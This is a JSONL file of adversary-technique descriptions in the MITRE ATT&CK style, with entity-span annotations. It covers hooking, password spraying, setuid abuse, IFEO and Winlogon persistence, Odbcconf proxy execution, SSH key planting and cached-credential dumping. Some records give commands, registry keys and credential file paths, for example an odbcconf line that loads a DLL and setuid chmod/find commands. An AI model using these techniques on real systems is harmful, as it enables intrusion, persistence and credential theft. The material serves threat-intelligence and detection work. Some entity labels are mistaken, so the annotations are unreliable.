+{"text": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.  \n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.   \n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.   \n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. \n\nHooking is commonly utilized by Rootkits to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors.", "spans": {"SYSTEM: Windows": [[0, 7], [140, 147]]}, "info": {"source": "apt_reports", "name": "Hooking"}}
+{"text": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).", "spans": {}, "info": {"source": "apt_reports", "name": "Active Scanning"}}
+{"text": "Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with Compression or Software Packing.\n\nNo-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.\n\nThe use of junk / dead code insertion is distinct from Binary Padding because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware’s signature.", "spans": {}, "info": {"source": "apt_reports", "name": "Junk Code Insertion"}}
+{"text": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format. \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.", "spans": {"SYSTEM: macOS": [[140, 145]], "ORGANIZATION: Apple": [[478, 483]]}, "info": {"source": "apt_reports", "name": "Plist Modification"}}
+{"text": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "spans": {}, "info": {"source": "apt_reports", "name": "Abuse Elevation Control Mechanism"}}
+{"text": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.\n\nWhile this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.", "spans": {}, "info": {"source": "apt_reports", "name": "Create Process with Token"}}
+{"text": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. Linux and Mac File and Directory Permissions Modification). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future. This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. File and Directory Discovery). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.", "spans": {"FILEPATH: /dev/null</code>": [[1822, 1838], [1912, 1928]], "SYSTEM: macOS": [[196, 201]], "SYSTEM: Linux": [[187, 192], [825, 830]]}, "info": {"source": "apt_reports", "name": "Setuid and Setgid"}}
+{"text": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: \n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", "spans": {"SYSTEM: Windows": [[117, 124], [319, 326], [396, 403]], "ORGANIZATION: Microsoft": [[309, 318], [386, 395]]}, "info": {"source": "apt_reports", "name": "Winlogon Helper DLL"}}
+{"text": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.   \n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "spans": {"SYSTEM: BIOS": [[4, 8], [282, 286]], "SYSTEM: UEFI": [[84, 88]]}, "info": {"source": "apt_reports", "name": "System Firmware"}}
+{"text": "Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation.", "spans": {"SYSTEM: Microsoft Office": [[1336, 1352]], "SYSTEM: DCOM": [[127, 131], [578, 582], [930, 934], [945, 949], [1182, 1186], [1411, 1415]], "SYSTEM: Windows": [[201, 208], [267, 274], [1135, 1142], [1469, 1476]], "ORGANIZATION: Microsoft": [[1336, 1345]]}, "info": {"source": "apt_reports", "name": "Distributed Component Object Model"}}
+{"text": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access   or by administrators using the built-in assoc utility.  Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.", "spans": {"SYSTEM: Windows": [[169, 176]]}, "info": {"source": "apt_reports", "name": "Change Default File Association"}}
+{"text": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. \n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.  This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments.  \n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking.", "spans": {"TOOL: regsvr32": [[406, 414], [487, 495], [735, 743]], "SYSTEM: Windows": [[154, 161], [473, 480]], "ORGANIZATION: Microsoft": [[546, 555]]}, "info": {"source": "apt_reports", "name": "Regsvr32"}}
+{"text": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. \n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.", "spans": {"TOOL: SSH": [[642, 645]], "TOOL: RDP": [[771, 774]], "TOOL: VNC": [[917, 920]], "SYSTEM: Office 365": [[1147, 1157]], "SYSTEM: Kerberos": [[751, 759], [1352, 1360]], "SYSTEM: MySQL": [[898, 903]], "SYSTEM: SMB": [[700, 703], [1525, 1528]], "SYSTEM: Windows": [[1450, 1457]], "SYSTEM: LDAP": [[734, 738], [1343, 1347]], "VULNERABILITY: password spraying": [[570, 587], [1238, 1255]]}, "info": {"source": "apt_reports", "name": "Password Spraying"}}
+{"text": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.  Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", "spans": {"MALWARE: HTRAN": [[272, 277]]}, "info": {"source": "apt_reports", "name": "External Proxy"}}
+{"text": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.", "spans": {"SYSTEM: VPN": [[69, 72]]}, "info": {"source": "apt_reports", "name": "Web Portal Capture"}}
+{"text": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).", "spans": {"SYSTEM: Office 365": [[654, 664]]}, "info": {"source": "apt_reports", "name": "Email Addresses"}}
+{"text": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine .", "spans": {"SYSTEM: Mac OS": [[12, 18]], "SYSTEM: Mac OS X": [[12, 20]]}, "info": {"source": "apt_reports", "name": "Re-opened Applications"}}
+{"text": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting  or even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering settings that control the collection and flow of event telemetry.  These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.", "spans": {"TOOL: PowerShell": [[476, 486], [630, 640]], "SYSTEM: Windows": [[227, 234], [490, 497]]}, "info": {"source": "apt_reports", "name": "Indicator Blocking"}}
+{"text": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.\n\nAdversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.", "spans": {"VULNERABILITY: phishing": [[495, 503], [660, 668], [964, 972], [1033, 1041]]}, "info": {"source": "apt_reports", "name": "Spearphishing Voice"}}
+{"text": "**This technique has been deprecated. Please use Create Account, Web Shell, and External Remote Services where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.", "spans": {}, "info": {"source": "apt_reports", "name": "Redundant Access"}}
+{"text": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "spans": {"SYSTEM: Microsoft Office": [[507, 523]], "ORGANIZATION: Microsoft": [[507, 516]], "VULNERABILITY: spearphishing": [[50, 63], [123, 136], [210, 223], [380, 393], [754, 767]]}, "info": {"source": "apt_reports", "name": "Spearphishing Attachment"}}
+{"text": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash. The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use Password Cracking to obtain the plaintext password. \n\nWith SYSTEM or sudo access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.", "spans": {"FILEPATH: /var/lib/sss/db/cache.[domain].ldb`": [[729, 764]], "FILEPATH: /var/opt/quest/vas/authcache/vas_auth.vdb`": [[778, 820]], "TOOL: Mimikatz": [[1050, 1058]], "SYSTEM: Windows": [[151, 158], [1088, 1095], [1195, 1202]], "SYSTEM: Windows Vista": [[151, 164], [1195, 1208]], "SYSTEM: Active Directory": [[502, 518]], "SYSTEM: Linux": [[487, 492], [1112, 1117]], "VULNERABILITY: pass-the-hash": [[380, 393]]}, "info": {"source": "apt_reports", "name": "Cached Domain Credentials"}}
+{"text": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code> (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.", "spans": {"FILEPATH: /etc/ssh/keys-<username>/authorized_keys`).": [[552, 595]], "FILEPATH: /etc/ssh/sshd_config</code>.": [[947, 975]], "TOOL: SSH": [[27, 30], [234, 237], [311, 314], [329, 332], [624, 627], [891, 894], [900, 903], [1000, 1003], [1189, 1192], [1379, 1382], [1637, 1640], [1982, 1985]], "SYSTEM: macOS": [[128, 133]], "SYSTEM: ESXi": [[139, 143], [545, 549]], "SYSTEM: Google Cloud": [[1316, 1328]], "SYSTEM: Linux": [[107, 112]], "SYSTEM: Azure": [[1421, 1426]], "ORGANIZATION: Google": [[1316, 1322]], "ORGANIZATION: RSA": [[756, 759]], "VULNERABILITY: privilege escalation": [[1662, 1682], [1882, 1902]]}, "info": {"source": "apt_reports", "name": "SSH Authorized Keys"}}
+{"text": "An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a Hypervisor CLI such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`). Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host. \n\nAdversaries may use the information from Virtual Machine Discovery during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as Service Stop or Data Encrypted for Impact.", "spans": {"TOOL: cmd": [[238, 241], [280, 283]], "SYSTEM: ESXi": [[174, 178]], "SYSTEM: VMware": [[378, 384]], "SYSTEM: vCenter": [[385, 392]]}, "info": {"source": "apt_reports", "name": "Virtual Machine Discovery"}}
+{"text": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.  When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0).  Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects.    \n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. \n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used.   Examples have been found in the wild.", "spans": {"SYSTEM: macOS": [[937, 942]], "SYSTEM: Linux": [[999, 1004]]}, "info": {"source": "apt_reports", "name": "Kernel Modules and Extensions"}}
+{"text": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.", "spans": {"SYSTEM: Windows": [[0, 7], [224, 231], [657, 664]]}, "info": {"source": "apt_reports", "name": "Security Support Provider"}}
+{"text": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "apt_reports", "name": "Network Security Appliances"}}
+{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). \n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool.  IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. \n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process).   Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>.  \n\nSimilar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the \"debugger\" program to be executed with SYSTEM privileges. \n\nSimilar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.  Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.", "spans": {"FILEPATH: C:\\dbg\\ntsd.exe": [[406, 421]], "TOOL: Remote Desktop Protocol": [[1672, 1695]], "TOOL: cmd.exe": [[1410, 1417]], "TOOL: cmd": [[1410, 1413]], "SYSTEM: Windows Server 2008": [[1331, 1350]], "SYSTEM: Windows Server": [[1331, 1345]], "SYSTEM: Windows": [[653, 660], [1202, 1209], [1296, 1303], [1331, 1338]], "SYSTEM: Windows Vista": [[1296, 1309]], "ORGANIZATION: Microsoft": [[643, 652], [1192, 1201]], "VULNERABILITY: privilege escalation": [[1843, 1863]], "MALWARE: Global": [[498, 504]]}, "info": {"source": "apt_reports", "name": "Image File Execution Options Injection"}}
+{"text": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names. The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>).", "spans": {"FILEPATH: C:\\Users\\Public\\file.dll": [[535, 559]], "SYSTEM: Windows": [[95, 102]], "ORGANIZATION: Microsoft": [[256, 265]]}, "info": {"source": "apt_reports", "name": "Odbcconf"}}
+{"text": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).", "spans": {}, "info": {"source": "apt_reports", "name": "Search Engines"}}
